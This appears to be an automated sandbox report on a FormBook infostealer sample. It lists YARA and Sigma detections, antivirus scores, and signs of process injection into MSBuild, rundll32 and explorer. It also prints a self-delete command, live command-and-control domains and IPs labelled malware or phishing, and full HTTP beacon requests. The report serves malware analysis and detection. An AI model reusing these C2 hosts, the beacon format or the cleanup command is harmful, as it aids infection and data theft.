14.0.MSBuild.exe.400000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.0.MSBuild.exe.400000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
14.0.MSBuild.exe.400000.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
14.0.MSBuild.exe.400000.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b917:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c91a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
14.0.MSBuild.exe.400000.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18839:$sqlite3step: 68 34 1C 7B E1 0x1894c:$sqlite3step: 68 34 1C 7B E1 0x18868:$sqlite3text: 68 38 2A 90 C5 0x1898d:$sqlite3text: 68 38 2A 90 C5 0x1887b:$sqlite3blob: 68 53 D8 7F 8C 0x189a3:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 16 entries

Sigma Overview

System Summary

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\SysWOW64\rundll32.exe, CommandLine: C:\Windows\SysWOW64\rundll32.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3292, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 4480

Sigma detected: Suspicious Rundll32 Without Any CommandLine Params

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\SysWOW64\rundll32.exe, CommandLine: C:\Windows\SysWOW64\rundll32.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3292, ProcessCommandLine: C:\Windows\SysWOW64\rundll32.exe, ProcessId: 4480

Source: Process started

Author: juju4: Data: Command: /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", CommandLine: /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\SysWOW64\rundll32.exe, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 4480, ProcessCommandLine: /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe", ProcessId: 6880

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: H4vBtZsi8xAKaMm.exe	Virustotal: Detection: 65%	Perma Link
Source: H4vBtZsi8xAKaMm.exe	Metadefender: Detection: 47%	Perma Link
Source: H4vBtZsi8xAKaMm.exe	ReversingLabs: Detection: 85%

Yara detected FormBook

Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://www.freeclothesonline.com/u1p5/	Avira URL Cloud: Label: malware
Source: http://www.freeclothesonline.com/u1p5/www.apeutah.com	Avira URL Cloud: Label: malware
Source: http://www.pbcgotv.com/u1p5/	Avira URL Cloud: Label: malware
Source: http://www.apeutah.com/u1p5/www.jovam.xyz	Avira URL Cloud: Label: malware
Source: http://www.pbcgotv.com/u1p5/www.kailibianminwang.com	Avira URL Cloud: Label: malware
Source: http://www.hokabrazil.com/u1p5/www.hornnbach.com	Avira URL Cloud: Label: phishing
Source: http://www.jovam.xyz/u1p5/www.hokabrazil.com	Avira URL Cloud: Label: phishing
Source: http://www.vinewineltd.com/u1p5/www.pbcgotv.com	Avira URL Cloud: Label: malware
Source: http://www.agengrosirfashion.com/u1p5/	Avira URL Cloud: Label: malware
Source: http://www.jovam.xyz/u1p5/	Avira URL Cloud: Label: phishing
Source: http://www.kailibianminwang.com/u1p5/	Avira URL Cloud: Label: malware
Source: http://www.agengrosirfashion.com/u1p5/www.dasmonica.com	Avira URL Cloud: Label: malware
Source: http://www.apeutah.com/u1p5/	Avira URL Cloud: Label: malware
Source: http://www.hokabrazil.com/u1p5/	Avira URL Cloud: Label: phishing
Source: http://www.hokabrazil.com	Avira URL Cloud: Label: phishing
Source: http://www.vinewineltd.com/u1p5/	Avira URL Cloud: Label: malware
Source: http://www.kailibianminwang.com/u1p5/.	Avira URL Cloud: Label: malware

Machine Learning detection for sample

Source: H4vBtZsi8xAKaMm.exe

Joe Sandbox ML: detected

Source: 14.0.MSBuild.exe.400000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.0.MSBuild.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.0.MSBuild.exe.400000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 14.2.MSBuild.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: H4vBtZsi8xAKaMm.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: H4vBtZsi8xAKaMm.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Users\Administrator\Desktop\Client\Temp\jpRHjxHGRl\src\obj\Debug\760pQ.pdb source: H4vBtZsi8xAKaMm.exe
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 0000000E.00000002.401789434.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000003.338982256.0000000000D30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.401925029.0000000000FEF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.800187501.0000000004B1F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.799896535.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.402164809.00000000046D0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 0000000E.00000002.401789434.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000003.338982256.0000000000D30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.401925029.0000000000FEF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 00000013.00000002.800187501.0000000004B1F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.799896535.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.402164809.00000000046D0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: MSBuild.exe, 0000000E.00000002.402970903.0000000002B70000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: MSBuild.exe, 0000000E.00000002.402970903.0000000002B70000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdbD source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4x nop then pop edi

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 92.222.235.170 80
Source: C:\Windows\explorer.exe	Domain query: www.vzn2aai2qj.icu
Source: C:\Windows\explorer.exe	Domain query: www.shitcoin.team
Source: C:\Windows\explorer.exe	Network Connect: 192.0.78.24 80
Source: C:\Windows\explorer.exe	Domain query: www.deutscheno1.com
Source: C:\Windows\explorer.exe	Domain query: www.bettingweb365.com
Source: C:\Windows\explorer.exe	Network Connect: 107.180.34.104 80
Source: C:\Windows\explorer.exe	Domain query: www.marymarinho.com

Source: global traffic	HTTP traffic detected: GET /u1p5/?y4Mp=vL5j7Eq3si3+pqkwq9GVQc9zWaxA/P/bTusMaerk9f3EW+lc0CCc1NhXRSl0Kt4KYFMx8zSAYw==&D0GHx=5jNT HTTP/1.1Host: www.shitcoin.teamConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u1p5/?y4Mp=jmW97e0DcxHZsiDt+DmiFhziWrO1jPfkTbEIn6OHXnuLtYKLIrDwNEu/EQYt2xDuBHghXZP9DQ==&D0GHx=5jNT HTTP/1.1Host: www.marymarinho.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD+HvWaQ2ttROIxFaz7G4unDmw6qRWL3K2g==&D0GHx=5jNT HTTP/1.1Host: www.bettingweb365.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETX-Powered-By-Plesk: PleskWinDate: Fri, 28 Jan 2022 14:18:48 GMTConnection: closeContent-Length: 1118Data Raw: 3c 48 54 4d 4c 3e 0d 0a 3c 48 45 41 44 3e 0d 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 42 41 53 45 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 5f 64 6f 63 73 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 42 41 53 45 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 64 6f 63 75 6d 65 6e 74 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 3c 50 3e 0d 0a 3c 48 52 3e 0d 0a 3c 41 44 44 52 45 53 53 3e 0d 0a 57 65 62 20 53 65 72 76 65 72 20 61 74 20 26 23 31 31 35 3b 26 23 31 30 34 3b 26 23 31 30 35 3b 26 23 31 31 36 3b 26 23 39 39 3b 26 23 31 31 31 3b 26 23 31 30 35 3b 26 23 31 31 30 3b 26 23 34 36 3b 26 23 31 31 36 3b 26 23 31 30 31 3b 26 23 39 37 3b 26 23 31 30 39 3b 0d 0a 3c 2f 41 44 44 52 45 53 53 3e 0d 0a 3c 2f 42 4f 44 59 3e 0d 0a 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 3c 21 2d 2d 0d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0d 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0d 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0d 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0d 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0d 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0d 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0d 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0d 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0d 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0d 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.210
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.210
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.210
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.108.210
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29
Source: unknown	TCP traffic detected without corresponding DNS query: 93.184.220.29

Source: rundll32.exe, 00000013.00000002.801147155.000000000541F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://bettingweb365.com/u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD
Source: explorer.exe, 0000001E.00000003.567450679.000000000AB41000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.554536830.000000000AB41000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.564216123.000000000AB41000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605703155.000000000A889000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.560927966.000000000AB41000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.564612786.000000000AB41000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.560220229.000000000AB48000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.555403231.000000000AB41000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.606908634.000000000AB41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 0000001E.00000003.568649594.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.565231882.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.567907070.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.606120571.000000000A9F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fontfabrik.com
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.340630386.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agengrosirfashion.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agengrosirfashion.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agengrosirfashion.com/u1p5/www.dasmonica.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.agengrosirfashion.comReferer:
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apeutah.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apeutah.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apeutah.com/u1p5/www.jovam.xyz
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apeutah.comReferer:
Source: explorer.exe, 0000000F.00000000.363498621.0000000006840000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.434119185.0000000006840000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.348701953.0000000006840000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000000.382832125.0000000006840000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dasmonica.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dasmonica.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dasmonica.com/u1p5/www.freeclothesonline.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.dasmonica.comReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.deutscheno1.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.deutscheno1.com/u1p5/
